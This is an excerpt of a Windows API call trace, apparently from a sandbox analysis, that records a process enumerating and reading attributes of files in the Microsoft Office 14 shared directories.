	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1
	[0050.441] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1
	[0050.441] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1
	[0050.441] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.441] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1277fa48 | out: lpFileInformation=0x1277fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1
	[0050.442] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1
	[0050.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.443] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277fea8 | out: lpFileInformation=0x1277fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8)) returned 1
	[0050.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277fef8 | out: lpFileInformation=0x1277fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0)) returned 1
	[0050.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277ff48 | out: lpFileInformation=0x1277ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0)) returned 1
	[0050.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277ff98 | out: lpFileInformation=0x1277ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990)) returned 1
	[0050.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), fInfoLevelId=0x0, lpFileInformation=0x1278a008 | out: lpFileInformation=0x1278a008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff)) returned 1
	[0050.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a058 | out: lpFileInformation=0x1278a058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50)) returned 1
	[0050.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a0a8 | out: lpFileInformation=0x1278a0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380)) returned 1
	[0050.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a0f8 | out: lpFileInformation=0x1278a0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980)) returned 1
